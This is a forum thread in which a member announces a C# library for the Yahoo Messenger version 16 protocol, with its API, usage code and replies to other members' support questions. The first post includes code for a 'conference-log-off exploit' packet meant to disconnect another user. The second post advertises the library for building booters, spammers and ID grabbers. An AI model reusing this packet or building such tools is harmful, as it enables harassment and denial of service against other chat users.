![]() |
|
|
|||||||
| Programming related Showcase your programming talent in here! You may even post others work, provided it is GPL or in other words NOT COPYRIGHTED. |
|
Welcome to the VipraSys forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features such as download links. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, Register Now by clicking here! |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|
#1 (permalink) |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
Ok.. this is just intro ... I going to wrap-up and post the library (closed-source) here .. MAY BE by next weekend ..
Its a quick but robust and clean implementation of yahoo version 16 protocol .. and its written in c# ... Key features; ----- Login Logoff Buddy Online notification Buddy Offline notification Private Message, send/receive Buddy Add Request, send/receive Buddy Accept Buddy Deny (delete ur id from someone's list) Pager's buddy list Chat Room Join (can go to random room number if only category is given) Chat Room Leave Chat Room Message, send/receive Chat Room List Chat Room user Join Chat Room user Leave Message typing start/end Keep Alive (keeps the client connected) Here is the list of some API methods .. Code:
... public YahooClient() // defaults to keepAlive = true public YahooClient(bool keepAlive) public void LogIn(string server, int port) public void LogOff() public void Message(string receiptant, string message) public void BuddyAdd(string buddy) public void BuddyRemove(string buddy) public void BuddyReject(string buddy, string message) public void ChatJoin(string alias, string room, string roomId) public void ChatLeave() public void ChatMessage(string message) .... --properties-- Username Password SessionId RoomName IsPagerConnected IsChatConnected IsKeepAlive ... --events-- NotifyLogin NotifyLogoff NotifyOnline NotifyOffline NotifyTyping NotifyMessage NotifyStatusChange NotifyChatRoomJoin NotifyChatRoomCaptcha NotifyChatRoomLeave NotifyChatUserJoin NotifyChatUserLeave NotifyChatUserMessage ... Code:
...
_Client = new YahooClient();
_Client.NotifyLogin += new YahooClient.OnLogin(Event_NotifyLogin);
_Client.NotifyLogoff += new YahooClient.OnLogoff(Event_NotifyLogoff);
_Client.NotifyMessage += new YahooClient.OnMessage(Event_NotifyMessage);
_Client.NotifyOnline += new YahooClient.OnOnline(Event_NotifyOnline);
_Client.NotifyOffline += new YahooClient.OnOffline(Event_NotifyOffline);
_Client.NotifyChatRoomCaptcha += new YahooClient.OnChatRoomCaptcha(Event_ChatRoomCaptcha);
_Client.NotifyChatRoomJoin += new YahooClient.OnChatRoomJoin(Event_ChatRoomJoin);
_Client.NotifyChatUserMessage += new YahooClient.OnChatUserMessage(Event_ChatUserMessage);
_Client.NotifyChatUserJoin += new YahooClient.OnChatUserJoin(Event_ChatUserJoin);
_Client.NotifyChatUserLeave += new YahooClient.OnChatUserLeave(Event_ChatUserLeave);
_Client.NotifyChatRoomLeave += new YahooClient.OnChatRoomLeave(Event_ChatRoomLeave);
_Client.Username = ui_txtUsername.Text;
_Client.Password = ui_txtPassword.Text;
_Client.LogIn("scs.msg.yahoo.com", 5050);
...
Also if u like to create ur own packet .. u no more need to deal with messy + AE + .. etc. Here is example of conference-log-off exploit (read from johnyjammer's post) packet .. Code:
public void ConfLogOff(string receiptant)
{
SendPacket(ConfLogOff(receiptant).ToBytes());
}
....
public YahooPacket ConfLogOff(string receiptant)
{
YahooPacket exploitPacket = new YahooPacket((UInt16)YahooService.ConfLogon, _SessionId);
exploitPacket.AddKey("1", _Username);
exploitPacket.AddKey("3", receiptant);
exploitPacket.AddKey("57", "0");
for (int index = 1; index <= 20; index++)
{
exploitPacket.AddKey("3", receiptant);
}
return exploitPacket;
}
![]() |
|
|
|
| The Following 4 Users Say Thank You to none_not For This Useful Post: | +__Help Me__+ (10-15-2009), clinton (01-17-2010), dethalternate (03-04-2010), vic.viper (10-06-2009) |
|
|
#2 (permalink) |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
[Only registered users can see links. ]
requires .net framework (tested and developed on 3.5) Some screen-shots of the application Adding reference to library ![]() Selecting the library ![]() Typing in the namespace ![]() Designing the login ![]() Logging in through program (messy got dc) ![]() currenty the library is capable of creating; chat-client, booter, pager, spammer, id grabber, .. exploit packet .. whatever u like .. I would try to put some more example applications (send/receive pm, chatclient, rejectbuddy, booter, sending custom packet .. etc) Feedback is appreciated |
|
|
|
| The Following 3 Users Say Thank You to none_not For This Useful Post: |
|
|
#3 (permalink) |
|
Junior Member
Join Date: Sep 2009
Location: PH
Posts: 6
Thanks: 0
Thanked 7 Times in 3 Posts
Reputation: 1
![]() |
would love to try this, but my machine had a screwed up dotnet installation. have you tried this on mono?
|
|
|
|
| The Following User Says Thank You to dukovni For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#4 (permalink) |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
na .. havent tried with mono
the current release of mono supports upto .net 3.0 ... I have just tested with 3.5 ... not sure about downward compatability .. but should work fine with >= 3.0 |
|
|
|
| The Following User Says Thank You to none_not For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#5 (permalink) |
|
Junior Member
![]() Join Date: Oct 2009
Posts: 1
Thanks: 4
Thanked 1 Time in 1 Post
Reputation: 1
![]() |
This is a wonderful project. Can you please add a 'deny buddy' function?
Last edited by haimp : 10-05-2009 at 04:55 PM. |
|
|
|
| The Following User Says Thank You to haimp For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#6 (permalink) |
|
Junior Member
Join Date: Sep 2009
Posts: 3
Thanks: 1
Thanked 3 Times in 3 Posts
Reputation: 1
![]() |
Hi...
I already try your example... But there is something strange when received message... Why i received two identical messages (in fact, i just send once) ? Hope you can help me anwer this question... Thanks =) |
|
|
|
| The Following User Says Thank You to vic.viper For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#7 (permalink) |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
Thanks m8. The BuddyReject method will do the trick, and its part of the library's first release (0.5.x). Follow link for complete example ..
Download the source code (c#) of the buddy deny example application requires .net framework (tested and developed on 3.5) Code:
privatevoid ui_btnDeny_Click(object sender, EventArgs e)
{
_Client.BuddyReject(ui_txtBuddy.Text, ui_txtMessage.Text);
}
![]() |
|
|
|
| The Following 2 Users Say Thank You to none_not For This Useful Post: | +__Help Me__+ (10-15-2009), haimp (10-26-2009) |
|
|
#8 (permalink) | |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
Quote:
It seems to me u already had put necessary code for message send/receive, but anyway I going to put message send/receive example + next iteration of the library (v 0.6.x) very soon. cheers |
|
|
|
|
| The Following User Says Thank You to none_not For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#9 (permalink) |
|
Junior Member
Join Date: Sep 2009
Posts: 3
Thanks: 1
Thanked 3 Times in 3 Posts
Reputation: 1
![]() |
May i ask another question ?
I already tried your library and OpenYMSG library (java based library)... but both of those library can't send message like 'O-NET' (the word is retrieved from mysql)...but works fine if not retrieved from mysql... This happens since migrating to yahoo v 16....works fine when using old protocol (using YCC_Trainer library) Probably my question is not quite related with this topic... But i hope u can give me the solution / explanation... Thanks again :) |
|
|
|
| The Following User Says Thank You to vic.viper For This Useful Post: | +__Help Me__+ (10-15-2009) |
|
|
#10 (permalink) |
|
Elite Member
Join Date: Jan 2007
Posts: 106
Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
![]() |
Its ok if the question is somehow related to this topic. Off the topic, related to IT / programming is ok as well but may be not on this thread.
Well I know about mysql and YCC Trainer (probably using v15 protocol) but not clear what u mean by would be helpful if u put some reference/detail .. i presume u r not talking about ado.net connector of mysql. |
|
|
|
| The Following User Says Thank You to none_not For This Useful Post: | +__Help Me__+ (10-15-2009) |
![]() |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Need Msdn Library For Vb6 | HAKRBOY | Programming related | 1 | 08-12-2009 09:49 PM |
| Delicious Library 2 for mac {rapidshare} | __Sare__ | Non-Windows Softwares related | 2 | 06-15-2009 04:34 AM |
| C++ standard library | xn--p-r-i-n-c-e | Programming related | 1 | 02-01-2009 09:58 AM |
| Learning the Yahoo! User Interface library | ___..:::warfreak:::..___ | Trash Can | 0 | 03-27-2008 01:08 PM |